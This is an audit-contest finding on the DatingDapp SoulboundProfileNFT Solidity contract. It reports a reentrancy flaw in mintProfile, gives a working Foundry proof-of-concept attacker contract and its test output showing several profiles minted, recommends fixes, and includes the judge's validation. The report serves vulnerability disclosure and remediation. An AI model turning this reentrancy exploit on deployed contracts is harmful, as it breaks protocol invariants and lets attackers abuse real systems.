DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile() allows bypassing one-profile-per-address restriction through _safeMint callback in SoulboundProfileNFT.sol

Summary

The SoulboundProfileNFT contract is vulnerable to reentrancy through _safeMint in mintProfile, allowing attackers to bypass the one-profile-per-address restriction and mint multiple NFTs.

Vulnerability Details

The vulnerability exists in the mintProfile function:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId); // Reentrancy point
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

The _safeMint function makes an external call to onERC721Received before state updates are completed. A malicious contract can reenter mintProfile during this callback, bypassing the "Profile already exists" check since profileToToken hasn't been updated.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
contract MaliciousReceiver {
SoulboundProfileNFT public target;
uint256 public attackCount;
uint256 public maxMints;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
maxMints = 3; // Number of profiles we want to mint in the attack
}
// Malicious onERC721Received that performs the reentrancy attack
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
if (attackCount < maxMints) {
attackCount++;
// Reenter mintProfile during the _safeMint callback
target.mintProfile("Attacker", 25, "ipfs://evil");
}
return this.onERC721Received.selector;
}
// Function to initiate the attack
function attack() external {
target.mintProfile("Attacker", 25, "ipfs://evil");
}
}
contract SoulboundProfileNFTReentrancyTest is Test {
SoulboundProfileNFT public soulboundNFT;
MaliciousReceiver public attacker;
function setUp() public {
// Deploy the target contract
soulboundNFT = new SoulboundProfileNFT();
// Deploy the attacker contract
attacker = new MaliciousReceiver(address(soulboundNFT));
}
function testReentrancyAttack() public {
// Execute the attack
attacker.attack();
// Verify the attack results
// The attacker should have minted multiple profiles despite the "Profile already exists" check
uint256 attackerProfileId = soulboundNFT.profileToToken(address(attacker));
// Check that we successfully minted multiple profiles
assertGt(attacker.attackCount(), 1, "Reentrancy attack failed - should have minted multiple profiles");
// Verify we can get tokenURI for the minted profile
string memory uri = soulboundNFT.tokenURI(attackerProfileId);
assertTrue(bytes(uri).length > 0, "Token URI should be set");
// Log the number of profiles minted
console.log("Number of profiles minted:", attacker.attackCount());
console.log("Attacker's profile token ID:", attackerProfileId);
}
}

PoC Results:

forge test --match-test testReentrancyAttack -vvv
[⠢] Compiling...
[⠑] Compiling 19 files with Solc 0.8.28
[⠊] Solc 0.8.28 finished in 386.07ms
Compiler run successful with warnings:
Warning (5740): Unreachable code.
--> lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol:161:9:
|
161 | ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data);
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ran 1 test for test/SoulboundProfileNFTReentrancy.t.sol:SoulboundProfileNFTReentrancyTest
[PASS] testReentrancyAttack() (gas: 553281)
Logs:
Number of profiles minted: 3
Attacker's profile token ID: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.40ms (1.44ms CPU time)
Ran 1 test suite in 41.36ms (4.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Attackers can mint multiple profiles despite the one-profile restriction

Breaks core soulbound token invariant

Can be used to spam the system

Potential manipulation of protocol logic expecting unique profiles

Tools Used

Foundry

Manual code review

Recommendations

Implement OpenZeppelin's ReentrancyGuard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
function mintProfile(...) external nonReentrant {
...
}
}

Or follow Checks-Effects-Interactions pattern:

function mintProfile(...) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
// Update state first
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
// External interaction last
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.